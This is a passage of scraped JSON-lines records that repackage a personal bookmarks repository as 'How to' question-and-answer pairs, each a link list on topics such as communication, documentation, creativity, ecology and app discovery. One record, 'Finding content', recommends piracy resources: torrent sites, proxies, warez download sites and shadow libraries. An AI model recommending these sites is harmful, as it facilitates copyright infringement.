potential.\n> Overcommunicate in all ways, all the time. There is no such thing as too much communication. When you think you’ve communicated something too much, you’re probably just beginning to get through.\n* [Eser Gozcu](https://hackernoon.com/devops-behind-scenes-817d586a1548) - (2018) DevOps and Behind the Scenes | BEST EFFORT != BEST PRACTICE | DevOps starts with a real communication. Moving towards a common goal requires social engineering\n* [Nonviolent Communication](https://en.wikipedia.org/wiki/Nonviolent_Communication) - an approach to nonviolent living based on the idea that all human beings have the capacity for compassion and only resort to violence or behavior that harms themselves and others when they do not recognize more effective strategies for meeting needs\n* [Alex Naoumidis](https://www.themindsetapp.com/musk-letter/) - (2018) Elon Musk reveals his productivity rules in a letter he sent to Tesla employees\n> - Get of all large meetings, unless you’re certain they are providing value to the whole audience, in which case keep them very short.\n> - Also get rid of frequent meetings\n> - Walk out of a meeting or drop off a call as soon as it is obvious you aren’t adding value.\n> - Don’t use acronyms or nonsense words for objects\n> - Communication should travel via the shortest path necessary to get the job done\n> - A major source of issues is poor communication between depts. The way to solve this is allow free flow of information between all levels\n> - If following a “company rule” is obviously ridiculous in a particular situation, such that it would make for a great Dilbert cartoon, then the rule should change.\n* [Jon Cairns](https://medium.com/techspiration-ideas-making-it-happen/communication-how-to-be-a-better-software-developer-869c50767701) - Communication: how to be a better software developer\n* [Software Engineering Tips](http://www.yacoset.com/Home/communication-tips) - (2010) Communication Tips\n* [Ben Balter](http://ben.balter.com/2014/11/06/rules-of-communicating-at-github/) - (2014) 15 rules for communicating at GitHub\n* [Jason Davis](https://medium.com/simon-systems/effective-communication-in-a-remote-engineering-setting-5f466d56aa5c) - (2015) Effective Communication in a Remote Engineering Setting\n* [Lenny Zeltser](https://zeltser.com/human-communications-cheat-sheet/) - Tips for Troubleshooting Human Communications | Human Communications Cheat Sheet\n* [Vadim Kravcenko](http://vadimkravcenko.com/dealing-with-complex-projects) - (2018) Dealing with complex projects\n> If you fail - you learn, if you succeed – even better. And never forget the importance of communication.\n* [Curse of knowledge](https://en.wikipedia.org/wiki/Curse_of_knowledge) - a cognitive bias that occurs when someone assumes that the others have the same background to understand.\n* [Yegor Bugayenko](https://www.yegor256.com/2018/12/25/speaker-cheat-sheet.html) - (2018) Speaker Cheat Sheet\n* [Chris Mague](http://blog.mague.com/?p=704) - (2017) Things you need to know about giving tech talks\n* [Julia Evans](https://jvns.ca/blog/brag-documents/) - (2019) Get your work recognized: write a brag document\n* [Joe Casabona](https://casabona.org/2019/01/eliminating-slack-distraction/) - (2019) Eliminating Slack as a Distraction to Work Better\n* [Gergely Orosz](https://blog.pragmaticengineer.com/talk-first-code-later/) - (2019) Talk First, Code Later\n> the \"talk first, code later\" approach is an un-intuitive tool that speeds development up and leads to better communication between engineers and teams.\n> Everyone would have saved so much time, if only we communicated first and wrote code only after.\n* [Andy Johns](https://andyjohns.co/why-standups-are-useless-and-how-to-run-great-product-team-meetings/) - (2019) Why Standups are Useless and How to Run Great Product Team Meetings\n* [KopywritingKourse](https://kopywritingkourse.com/event-name-generator/) - Event Name Genera", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677497"}
{"id": "gh_f28e2d75716d", "question": "How to: Documentation", "question_body": "About SansGuidon/bookmarks", "answer": "> Learn\n* [Greg Williams](https://spin.atomicobject.com/2017/02/22/diagrams-as-documentation/) - (2017) Diagrams as Software Documentation – When a Picture Says it Best\n* [Chastity Blackwell](https://opensource.com/article/17/10/7-deadly-sins-documentation) - 7 deadly sins of documentation\n* [Fred Hébert](https://ferd.ca/don-t-be-a-jerk-write-documentation.html) - Don't be a Jerk: Write Documentation\n* :star: [**Write the Docs**](http://www.writethedocs.org/guide/) - Documentation Guide : a best practice handbook for building, structuring, and writing software documentation, for creating more wonderful documentation in the world\n* [Lauri Apple](https://opensource.com/open-organization/17/10/readme-maturity-model) - (2017) documentation : a maturity model for READMEs | Your step-by-step guide to more effective documentation\n* [Tanja Roth](https://opensource.com/article/17/12/7-rules) - (2017) 7 rules for avoiding documentation pitfalls\n* [Carmen Bourlon](https://www.javascriptjanuary.com/blog/document-like-a-journalist) - Document like a Journalist\n* [Felix](https://thinkingsideways.net/working/culture/2019/01/03/knowledge-transfers.html) - (2019) The Trouble with Knowledge Transfers\n* [Steve Losh](http://stevelosh.com/blog/2013/09/teach-dont-tell/) - (2013) Teach, Don't Tell | about documentation\n* [Tom Preston-Werner](https://tom.preston-werner.com/2010/08/23/readme-driven-development.html) - (2010) Readme Driven Development\n* [zalando/zalando-howto-open-source](https://github.com/zalando/zalando-howto-open-source) - How to Open Source at Zalando. **Bonus** : [Zalando's README Template](https://github.com/zalando/zalando-howto-open-source/blob/master/READMEtemplate.md)\n* [matiassingers/awesome-readme](https://github.com/matiassingers/awesome-readme) - A curated list of awesome READMEs\n* [Akash Nimare](https://medium.com/@meakaakka/a-beginners-guide-to-writing-a-kickass-readme-7ac01da88ab3) - (2016) A Beginners Guide to writing a Kickass README ✍\n* [Chris Ward](https://blog.codeship.com/distributing-operational-knowledge-across-a-team/) - (2017) Distributing Operational Knowledge Across a Team\n* [James Somers](http://jsomers.net/blog/gettiers) - (2019) The three-page paper that shook philosophy : “Is Justified True Belief Knowledge?” : “the Gettier cases”\n* [John D. Cook](https://www.johndcook.com/blog/2009/04/22/being-indispensable/) - (2009) Do you really want to be indispensable?\n* [Shubhro Saha](http://www.shubhro.com/2014/12/27/software-engineers-should-write/) - (2014) Software engineers should write\n* [Hubert Sablonnière](https://www.youtube.com/watch?v=T6YJlaY0Dpw) - (2017) [Video] :fr: [FR] Documentation as Code (expliqué à mon père) | DevFest Nantes 2017 | about AsciiDoc, KISS, DRY, Quality, Collaboration\n* [PlantUML](http://plantuml.com/guide) - Drawing UML with PlantUML : PlantUML Language Reference Guide\n* [Anni Bond](https://opensource.com/article/17/9/adopting-minimalism-your-docs) - Adopting minimalism in your docs\n* [Brad Appleton](http://wiki.c2.com/?LocalityOfReferenceDocumentation) - Locality Of Reference Documentation (LoRD)\n> * Code and documentation should be kept as close as feasible, but no closer!\n> * Minimizing the amount of documentation that must be created and maintained in the first place is probably one of the most important aspects of applying LoRD (perhaps even a precursor)\n* [Graydon Hoare](https://graydon2.dreamwidth.org/193447.html) - (2014) always bet on text\n* [Justin Garrison](https://www.justingarrison.com/blog/2021-03-15-the-document-culture-of-amazon/) - (2021) The Document Culture of Amazon\n* [Mislav Marohnić](https://mislav.net/2014/02/hidden-documentation/) - (2014) Every line of code is always documented.\n* [Raphael Gaschignard](https://rtpg.co/2022/02/04/precision-in-technical-discussions.html) - (2022) Precision In Technical Discussions\n> * While working with the same people in the same problem domain for a long time, it's extremely common for people to take shortcuts when describing usage of a technical system.\n\n> Tips\n* [Box-drawing character](https://en.wikipedia.org/wiki/Box-drawing_character) - because using some characters such as ╭\t╮\t╯╰> is useful especially for arrows : ╰>\n* [Bazyli Brzóska](https://invent.life/blog/on-organizing-projects-and-files/) - (2013) On organizing projects and files | TLDR : we shoudl use tags and we need more tools supporting them\n* [Christopher Laine](https://medium.com/it-dead-inside/ubiquitous-language-in-your-software-domain-1ff6df49ac8c) - (2019) Ubiquitous Language in your software domain | Defining your software domain’s language makes everything easier\n* [Julia Evans](https://jvns.ca/blog/brag-documents/) - (2019) Get your work recognized: write a brag document\n* [Mike Crittenden](https://critter.blog/2020/12/03/the-you-get-one-diagram-approach-to-architecture-documents/) - (2020) The “You Get One Diagram” approach to architecture documents\n* [Manish Goregaokar](https://manishearth.github.io/blog/2016/01/03/making-yo", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677531"}
{"id": "gh_c4f46e3f74f6", "question": "How to: Onboarding", "question_body": "About SansGuidon/bookmarks", "answer": "* [Ingrid Towey](https://opensource.com/open-organization/17/9/culture-building-onboarding-buddies) - Growing your team's open culture, one buddy at a time\n* [GitLab Docs](https://about.gitlab.com/handbook/people-group/general-onboarding/) - Onboarding at GitLab\n* [Manish Goregaokar](https://manishearth.github.io/blog/2016/01/03/making-your-open-source-project-newcomer-friendly/) - (2016) Making Your Open Source Project Newcomer-friendly\n* [Justin Garrison](https://www.justingarrison.com/blog/2020-08-31-remote-onboarding/) - (2020) How to On-board New Hires Remotely", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677537"}
{"id": "gh_dce47f5caaf6", "question": "How to: Creativity :bulb:", "question_body": "About SansGuidon/bookmarks", "answer": "* [TED](https://www.ted.com/) - [Videos] Ideas worth spreading, usually in the form of short, powerful talks (18 minutes or less)\n* [Innovating Now!](https://innovatingnow.wordpress.com/2011/05/05/ck-theory/) - (2011) CK Theory : The Concept Knowledge Theory\n* [Jason Fried](https://m.signalvnoise.com/the-intimidating-zero-4d90fcdcc3b2) - The Intimidating Zero\n* [DIY Projects](https://diyprojects.com/) - Craft Ideas & How To’s for Home Decor with Videos\n* [Hackaday](http://hackaday.com/) - fresh hacks every day\n* [Louis-Xavier Lavallée](https://www.slideshare.net/LouisXavierLavalle/10-reasons-why-successful-leaders-are-keeping-a-journal-58921004) - [Slides] 10 Reasons Why Successful Leaders Are Keeping a Journal\n* [NanoDano](http://www.devdungeon.com/content/i-know-how-program-i-dont-know-what-program) - \"I know how to program, but I don't know what to program\"\n* [Nathan Kontny](https://m.signalvnoise.com/how-to-be-original-8877c5feeeb1) - How to be original / aka whom creative ideas come from ?\n* [Marion PoetzNikolaus FrankeMartin Schreier](https://hbr.org/2014/11/sometimes-the-best-ideas-come-from-outside-your-industry) - (2014) Sometimes the Best Ideas Come from Outside Your Industry\n* [Dan Kim](https://m.signalvnoise.com/its-ok-to-be-pragmatic-with-a-little-help-from-the-crazy-ones-461f7773a176) - It’s OK to be pragmatic (with a little help from the “crazy ones”)\n* [/r/GoogleCardboard](https://www.reddit.com/r/GoogleCardboard/) - Google Cardboard VR subreddit\n* [Modd.io](http://www.modd.io/) - a one minute game maker proof of concept, with ability to join others games online or fork their projects to create your own\n* :star: [**Daniel Miessler**](https://danielmiessler.com/blog/stop-being-proud-of-complexity/) - Stop Being Proud of Complexity\n* [Marco de Saint-Hilaire](http://www.gutenberg.org/ebooks/26488) - [FR] :fr: [eBook] L'art de payer ses dettes et de satisfaire ses créanciers sans débourser un sou\n* [The Next Web](https://twitter.com/Shaun_Springer/status/498529232545669121/photo/1) - (2014) [IMG] It's not about being first to market, it's about being the best. / It's Never Too Late / Just do it better.\n* [John D. Cook](https://www.johndcook.com/blog/2009/12/16/good-work-with-bad-tools/) - (2009) Doing good work with bad tools\n* [Kevin Smith](https://imgur.com/gallery/ihRohVQ) - (2014) [IMG] It costs nothing to encourage an artist\n* [Vala Afshar](https://twitter.com/ValaAfshar/status/538001419702657024/photo/1) - (2014) [IMG] knowledge vs experience vs creativity\n* [Roy Osing](https://talentculture.com/11-ways-to-lose-yourself-in-the-crowd/) - Anti principles (Don't do this !) / 11 Ways To Lose Yourself In The Crowd\n* [Julia Evans](https://jvns.ca/blog/2017/03/20/blogging-principles/) - (2017) Blogging principles\n* [Steve Yegge](https://sites.google.com/site/steveyegge2/you-should-write-blogs) - You Should Write Blogs\n* [Adam Pittenger](https://medium.com/@apitt24/love-what-you-build-build-what-you-love-9cedbb05e32f) - Love what you build. Build what you love.\n* [Lin Taylor](http://linbug.github.io/self-improvement/personal%20tracking/imposter%20syndrome/2017/09/30/How-I-hacked-my-imposter-syndrome-using-personal-tracking/) - (2017) How I hacked my imposter syndrome using personal tracking\n* [spammimic](http://www.spammimic.com/) - encode your secret message into something innocent looking.\n* [Lionel Dricot aka PLOUM](http://ploum.net/votre-idee-ne-vaut-rien/) - [FR] :fr: Votre idée ne vaut rien\n* [Brian Kelly](https://morethancoding.com/2013/03/12/ux-then-architecture-then-tools/) - (2013) UX, Then Architecture, Then Tools\n* [Oblique Strategies](https://en.wikipedia.org/wiki/Oblique_Strategies) - How to break creative blocks by encouraging lateral thinking.\n* [Greg Kogan](https://www.gkogan.co/blog/reject-first-ideas/) - (2017) Reject the First Ideas\n* [Katie McKenna](https://www.portent.com/blog/copywriting/better-content-5-lessons-learned-from-yoga-teacher-training.htm) - (2017) Be a Better Writer: 5 Lessons Learned From Yoga Teacher Training\n* [Kirsten Pickworth](https://www.portent.com/blog/internet-marketing/avoid-best-practices-trap.htm) - (2017) How to Avoid the Best Practices Trap\n* [Cate McGehee](https://www.portent.com/blog/content-strategy/best-thing-ever-heard-ideation-brainstorming.htm) - (2017) The Single Best Thing I’ve Ever Heard About Ideation and Brainstorming\n* [Robert Ecker](https://team-coder.com/give-up-perfection/) - (2017) Give Up Perfection!\n* [Benjamin P. Hardy](https://medium.com/personal-growth/this-10-minute-routine-will-increase-your-clarity-and-creativity-c8ee786586cd) - (2017) This 10-Minute Routine Will Increase Your Clarity And Creativity\n* [**Kim Roach**](http://www.buzzblogger.com/blog-promotion-checklist/) - (2015) 101 Ways to Promote Your Next Blog Post\n* [Kevin Pezzi MD](https://www.linkedin.com/pulse/irony-silicon-valley-kevin-pezzi-md/) - (2015) The irony of Silicon Valley\n* [Philippe Bourgau](http://philippe.bourgau.net/13-tricks-for-successful-side-proj", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677584"}
{"id": "gh_64c2f90d7d81", "question": "How to: Digital marketing", "question_body": "About SansGuidon/bookmarks", "answer": "* [Portent Blog](https://www.portent.com/blog) - articles about analytics, copy writing, creativity, internet marketing, PPC, SEO, social media\n* [Kirsten Pickworth](https://www.portent.com/blog/internet-marketing/avoid-best-practices-trap.htm) - (2017) How to Avoid the Best Practices Trap\n* [Neil Patel](https://blog.hubspot.com/marketing/psychology-of-excitement) - (2015) The Psychology of Excitement: How to Better Engage Your Audience | marketing", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677621"}
{"id": "gh_19ee3cfeff9e", "question": "How to: Ecology :seedling:", "question_body": "About SansGuidon/bookmarks", "answer": "See also [Accessibility (a11y)](#accessibility-a11y) && [Performance](#performance) && [Web development](#web-development)\n\n* [Cartooning for Peace](http://www.cartooningforpeace.org/cartoonotheque/) - [IMGS] Cartoons about censorship, freedom of expression, human rights, environment, inequality, war, religion, migrations, etc\n* [IRCEL - CELINE](http://www.irceline.be/en/front-page?set_language=en) - 🇧🇪 [BE] Current Air Quality Measurements of Belgian Interregional Environment Agency (IRCEL - CELINE)\n* [écoconso](https://www.ecoconso.be/fr/content/magasins-de-vrac-et-zero-dechet-de-wallonie-et-bruxelles) - 🇫🇷 🇧🇪 [FR] [BE] Magasins de vrac et zéro déchet de Wallonie et Bruxelles\n* [GreenIT.fr](https://www.greenit.fr/) - :fr: [FR] est un lieu de réflexion sur ces deux enjeux du numérique durable / responsable (définition); éco-conception des équipements et des services numériques, économie d’énergie, réemploi et recyclage, etc. – mais aussi les usages et le rôle du numérique pour glisser vers une économie plus légère, circulaire (cradle to cradle), puis vers une économie positive.\n* [Michaël Petit](https://www.slideshare.net/MorganWattiez/les-impacts-du-secteur-tic-11102019) -  :fr: [Slides] [FR] (2019) Les impacts des TIC (Technologies de l'information et de la communication) sur l'environnement | Analyse des impacts, et propositions d'actions et aides concrètes. via Almin conference (UNamur, Belgique)\n* [Djan Gicquel](https://www.djan-gicquel.fr/reduire-son-empreinte-carbone-numerique) - :fr: [FR] (2019) Réduire son empreinte carbone numérique\n> * Bloquer la publicité et les pisteurs de façon efficace sur le web\n> * Limiter l’usage des moteurs de recherches\n> * Limiter et optimiser son usage du cloud\n> * Utiliser des logiciels P2P pour envoyer des fichiers et communiquer\n> * Diminuer son usage des réseaux sociaux\n> * Optimiser la batterie de son smartphone\n> * Limiter son usage du streaming\n> * Optimiser son usage du courriel\n> * Faire durer ses équipements\n> * Utiliser des systèmes d’exploitations libres\n> *  Créer des sites web léger et sans briques GAFAM\n> * L’utilisation de l’encre et le toner ont également un impact écologique. il est possible de faire des économies en changeant de polices.\n> * Vous n’êtes pas forcé de prendre vos photos en 16 M de pixels. Vous pouvez réduire la résolution de vos photos.\n> * Éteindre sa box quand on ne s’en sert pas. \n> * Essayer de vous passer du wifi et passez au câble ethernet. \n> * Ne pas laisser ses appareils en veille. Prenez l’habitude d’éteindre vraiment votre pc fixe ou portable, d’éteindre les écrans et les multiprises de vos appareils.\n> * Utiliser les modes sombres des applications.\n* [Dominique Meeùs](https://d-meeus.be/linux/ink-usage.html) - :fr: [FR] (2012) Économie d’encre\n> J’ai alors mesuré avec l’aide de pkpgcounter sur des versions PDF de mes documents la proportion de noir dans la surface totale si on les imprimait en 600 dpi [..] Cela donne les résultats suivants en pourcentage de noir sur la surface de la page \n> * Free Serif (11,3 pt, 3 151 caractères) 6,182 890 %\n> * Linux Libertine O (12 pt, 3 155 caractères ) 6,396 547 %\n> * URW Bookman L (10,5 pt, 3 153 caractères) 6,796 432 %\n> * Times New Roman (12 pt, 3 153 caractères) 6,970 791 %\n> * URW Gothic L (10,6 pt, 3 153 caractères) 7,219 216 %\n> * Verdana (10,3 pt, 3 149 caractères) 8,071 796 %\n> * Georgia (11,3 pt, 3 149 caractères) 8,074 857 %\n> * Arial (11,3 pt, 3 148 caractères) 8,835 107 %\n* [Alex so yes](https://alexsoyes.com/eco-conception-web/) - :fr: [FR] (2021) Comment coder un site écologique ? Devenir un développeur green avec l’éco-conception web\n* [Unix Sheikh](https://unixsheikh.com/articles/is-the-madness-ever-going-to-end.html) - (2022) Is the madness ever going to end?\n* [The 512KB Club](https://512kb.club/) - The 512KB Club | The internet has become a bloated mess. Massive JavaScript libraries, countless client-side queries and overly complex frontend frameworks are par for the course these days. [...] But we can make a difference - all it takes is some optimisation. [...] The 512KB Club is a collection of performance-focused web pages from across the Internet. **GitHub repository** [kevquirk/512kb.club](https://github.com/kevquirk/512kb.club)\n* [KidsBox](https://www.kids-box.lu/) - 🇱🇺 🇫🇷 [FR] une location de jouets de qualité, responsables, éducatifs, innovants et certains éco-friendly. Nos jouets sont livrés dans une boîte surprise dont vous choisissez le thème parmi les 12 proposés. Fini l’accumulation et le stockage de jouets. Privilégiez la découverte pédagogique pour vos enfants dès le plus jeune âge jusqu’à 6 ans.\n* [Amélie Micoud](https://www.minimi.be/fr/idees-cadeaux-bebe-5-beaux-jouets-minimalistes-et-durables/) - 🇧🇪 🇫🇷 [BE] [FR] (2021) Idées cadeaux bébé : 5 beaux jouets minimalistes et durables\n* [BY MAEM](https://by-maem.be/collections) - beautiful, original, sustainable and above all ecologically responsible baby equipment. MAEM mission is to help you to choose", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677653"}
{"id": "gh_5ffcff5ff111", "question": "How to: Finding content :mag:", "question_body": "About SansGuidon/bookmarks", "answer": "* :fire: [**Library Genesis**](https://libgen.is/) - ebooks and scientific articles. **Bonus** : [Mirror #1](http://gen.lib.rus.ec/), [Mirror #2 with nice UI](https://libgen.me/), [Mirrors list](http://sguru.org/libgen-proxy/)\n* :fire: [**Internet Archive: Wayback Machine**](https://web.archive.org/) - The Internet archive, bringing back old/dead pages to live\n* :fire: [**ZLibrary**](https://b-ok.cc/) - The world's largest ebook library.\n* :star: [**/r/piracy**](https://www.reddit.com/r/Piracy/) - piracy on reddit\n* [Reddit](https://www.reddit.com/r/Piracy/comments/6583hl/piracy_megathread_v20/) - Piracy Megathread on reddit\n* [Soulseek](http://www.slsknet.org/news/) - for hard to find music .\n* [RuTracker](https://rutracker.org/forum/index.php) - torrent for music\n* [OpenSubtitles.org](https://www.opensubtitles.org/) - large open subtitles database for tv shows and movies\n* [TVsubtitles.net](http://www.tvsubtitles.net/) - large collection of subtitles for tv shows\n* [Addic7ed.com](http://www.addic7ed.com/) - free subtitles for tv show and movies\n* [arXiv.org](https://arxiv.org/) - Cornell University library : e-prints in Physics, Mathematics, Computer Science, Quantitative Biology, Quantitative Finance and Statistics\n* [InterfaceLIFT](https://interfacelift.com/wallpaper/downloads/date/any/) - High resolution photography wallpapers for every screen size\n* :star: [**sindresorhus/awesome**](https://github.com/sindresorhus/awesome) - Curated list of awesome lists\n* [Calvin Cheng](https://awesomelists.top/) - AwesomeSearch : find awesome lists more quickly.\n* [bayandin/awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) - A curated list of awesome awesomeness\n* [FindLectures](https://www.findlectures.com/) - Great collection of lectures to discover interesting topics that you might not think to look for. **Bonus** : [related subreddit with new suggestions](https://www.reddit.com/r/FindLectures/)\n* [ThePirateBay Proxy List](https://thepiratebay-proxylist.org/)\n* [NextWarez](http://nextwarez.com/torrent/actu-torrent/) - [FR] :fr: news and ranking about download sites and downloaded contents\n* [Kooba](http://koob.jake.run/) - an interactive graph for finding new books\n* [Urban Dictionary](http://www.urbandictionary.com/) - online dictionary of slang words and phrases\n* [The Load Guru](http://theloadguru.com/how-to-get-started-with-xdcc/) - How To Get Started With XDCC\n* [The Load Guru](http://theloadguru.com/how-to-configure-mirc/) - How To Configure mIRC For Downloading\n* [Cr4wlGa](https://www.cr4wl.ga/) - A plain XDCC indexer\n* [SunXDCC](http://sunxdcc.com/#search) - a XDCC indexer\n* [TorrentFreak](https://torrentfreak.com/) - file sharing, privacy & copyright news\n* [Opentrackers](https://opentrackers.org/) - private torrent trackers & file sharing\n* [Torrent Franais](http://www.xn--torrentfranais-qjb.fr/) - [FR] :fr: file sharing & torrent news\n* Top torrent sites according to [TorrentFreak](https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2017-170107/) : [YTS.AG](https://yts.ag/browse-movies), [Limetorrents](https://www.limetorrents.cc/), [Torrentz](https://torrentz2.eu/) a meta search engine, [TorrentProject](http://torrentproject.se/), [Torrent Downloads](https://www.torrentdownloads.me/). Others : [Sky torrents](https://www.skytorrents.in/)\n* [MorganGeek](https://gist.github.com/MorganGeek/aa1f21c3b87e90a2cde567a73209ef13) - download sites compared using some searches\n* [The Pirate Bay](https://thepiratebay.org/) - yet one of the best place to find good torrents. **Bonus** : [Pirate Bay Proxies sites](https://proxybay.one/) + [A Pirate bay proxy website](https://pirateproxy.vip/)\n* [iDope](https://idope.se/) - torrent indexer / tribute to kickass\n* [Extreme Download](https://www.extreme-down.one/home.html) - [FR] :fr: a good place to find direct download links for various content\n* [Zone Telechargement](https://www.zone-telechargement.ws/) - [FR] :fr: an alternative place to find direct download links\n* [Torrent9](https://www.torrent9.sh/) - [FR] :fr: Torrent9 because T411 ~~starts to suck~~ is out of business. **See also** their official [Twitter account](https://twitter.com/torrent9_) to keep up in case the URL would change again (which is likely to happen).\n* [torrents.me](https://torrents.me/) - good torrent indexer (lot of content), but results quality may depend on your criteria\n* [TorrentProject](https://torrentproject.se/) - torrent indexer with lot of content\n* [TwoDDL](https://2ddl.unblocked.srl/) - a place for direct download links, but not the best\n* [DuckDuckGo](https://duckduckgo.com/) - a search engine that emphasizes protecting searchers' privacy. **Related** : [Suggested search engines by PrivacyTools](https://www.privacytools.io/#search)\n* [WikiLeaks](https://wikileaks.org/) - publishes full online archives of information that has been censored or suppressed, or is likely to be lost. **Related** : [/r/WikiLeaks](https://www.reddit.com/r/WikiLeaks/)\n* [dvdcom", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677728"}
{"id": "gh_7e76ed02a2ae", "question": "How to: App discovery", "question_body": "About SansGuidon/bookmarks", "answer": "* :fire: [**AlternativeTo**](https://alternativeto.net/) - crowdsourced software recommendations, find alternatives to existing softwares\n* :star: [**Product Hunt**](https://www.producthunt.com/) - discover new products (apps, websites, services, ...)\n* :star: [**Privacy tools**](https://www.privacytools.io/) - knowledge, tools & tips to protect your privacy against global mass surveillance. Related : [/r/privacytoolsIO/](https://www.reddit.com/r/privacytoolsIO/)\n* * [Y Combinator](https://news.ycombinator.com/show) - Hacker news Show : where people share their work. **Related** : :star: [**Newest Show HN**](https://news.ycombinator.com/shownew) and [A List of Hacker News's Undocumented Features and Behaviors](https://github.com/minimaxir/hacker-news-undocumented)\n* [PRISM Break](https://prism-break.org/en/) - which alternative softwares help you opting out of global data surveillance programs like PRISM, XKeyscore and Tempora.\n* [Similarsites](http://www.similarsites.com/) - easily find similar websites\n* [Superbly Space](http://superbly.space/directory-categories/) - inventory of valuable quality softwares, services, websites, usually matching the ones I look for\n* [Product Hunt](http://500makers.com/) - a list of top 500 makers on [Product Hunt](https://www.producthunt.com/)\n* [AppRecs](https://apprecs.com) - app search engine\n* [StumbleUpon](https://www.stumbleupon.com/) - discover the best of the web, one click at a time. This service learns what you like and brings you more like it\n* [Random Hunt](https://randomhunt.com/) - Like StumbleUpon, but for Product Hunt. Meaning : best of products, one random product at a time\n* [The Useless Web](http://www.theuselessweb.com) - Take you to another random useless website\n* :star: [**Discuvver**](https://www.discuvver.com) - Take you to one random useful website\n* [AlternativeTo](https://alternativeto.net/platform/self-hosted/?license=opensource) - Open Source Self-Hosted apps on AlternativeTo\n* [Stack Exchange](https://softwarerecs.stackexchange.com/) - Software Recommendations Stack Exchange\n* [Slant](https://www.slant.co/) - this community of enthusiasts provide recommendations on lot of things / useful to find best tools for the job\n* [FreshRSS](https://www.freshrss.org/) - A free, self-hostable aggregator… probably the best! (in their opinion, and mine also :) ). I tested many free self hosted RSS readers, and by far this is the one I recommend the most for its flexibility and numerous options\n* [jivoi/awesome-osint](https://github.com/jivoi/awesome-osint) - curated list of awesome open source intelligence (OSINT) tools and resources.\n* [DARK MODE LIST](https://www.darkmodelist.com/) - A List of Apps That Support Dark Mode and many other...\n* [johnjago/awesome-ad-free](https://github.com/johnjago/awesome-ad-free) - A curated list of ad-free alternatives to popular services on the Internet.\n* [aviaryan/awesome-no-login-web-apps](https://github.com/aviaryan/awesome-no-login-web-apps) - Web Apps that work without login\n* [Chris Barber/ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade) - Tools of The Trade, from Hacker News.\n* [SourceForge](https://sourceforge.net/) - offers a huge choice of excellent, FREE software in virtually every field of computing\n* [Siftery](https://siftery.com/trending) - Trending products | explore softwares others people are using at work\n* [Libraries.io](https://libraries.io/) - discovers millions open source libraries accros +36 package managers\n* [AnyAPI](https://any-api.com/) - Documentation and Test Consoles for Over 500 Public APIs\n* [GitHub](https://github.com/discover) - Discover repositories : Recommendations are based on your stars and people you follow\n* [switching.social](https://switching.social/) - ethical, easy-to-use and privacy-conscious alternatives to popular sites and apps\n* [LisaDziuba/Awesome-Design-Tools](https://github.com/LisaDziuba/Awesome-Design-Tools) - The best design tools for everything\n* [StaticGen](https://www.staticgen.com/) - A List of Static Site Generators for [JAMstack](https://jamstack.org/) Sites\n* :star: [**ThoughtWorks**](https://www.thoughtworks.com/radar/tools) - Technology radar : trends, insights into tools, frameworks, languages, techniques & platforms shaping the future\n* [Sven Taylor](https://www.techspot.com/news/80729-complete-list-alternatives-all-google-products.html) - (2019) The complete list of alternatives to all Google products | Parallel universe for the super security conscious\n* [Good Reports](https://goodreports.com/) - There are alternatives to the toxic Big Tech monopolies, and it's important to make the right choices: both to have a better experience online, and to support the teams making superior tools. Good Reports was started in October 2020 to raise awareness about better online tools.\n* [switching.software](https://switching.software/) - Ethical, easy-to-use and privacy-conscious alternatives to well-known software\n* [Reddit Favorites](https://redditfav", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.677751"}
{"id": "gh_cd7615d7ec8f", "question": "How to: Event discovery", "question_body": "About SansGuidon/bookmarks", "answer": "* [Meetup](https://www.meetup.com) - meet groups of people near you who share your interests\n* [Out.be](https://www.out.be/fr/agenda/bruxelles/list/) - 🇧🇪 🇫🇷 [BE] [FR] Que faire à Bruxelles ? | Sorties et Loisirs à Bruxelles\n* [kidsgazette](http://kidsgazette.be/kidsgazette/derniere-kidsgazette/#) - 🇧🇪 🇫🇷 [BE] [FR] En quête d’aventures bruxelloises et de sorties pour bambins de 0 à 12 ans ? kidsgazette est une initiative de bruxellois au service du jeune public et de la culture depuis 2010 : Un agenda culturel biannuel (automne/hiver & printemps/été), trilingue et gratuit.\n* [Le Petit Moutard](https://www.lepetitmoutard.be/place) - 🇧🇪 🇫🇷 [BE] [FR] Sorties et activités enfants en Belgique\n* [Brussels Museum](https://www.brusselsmuseums.be/fr/agenda?activityType=189806) - 🇧🇪 🇫🇷 [BE] [FR] Le calendrier des évènements des musées bruxellois.\n* [visit.brussels](https://visit.brussels/) - 🇧🇪 [BE] we make you love Brussels!\n* [environnement.brussels](https://environnement.brussels/thematiques/zero-dechet/bonnes-adresses/parcours-decouvertes) - :fr: 🇧🇪 [FR] [BE] Partez à la découvertes 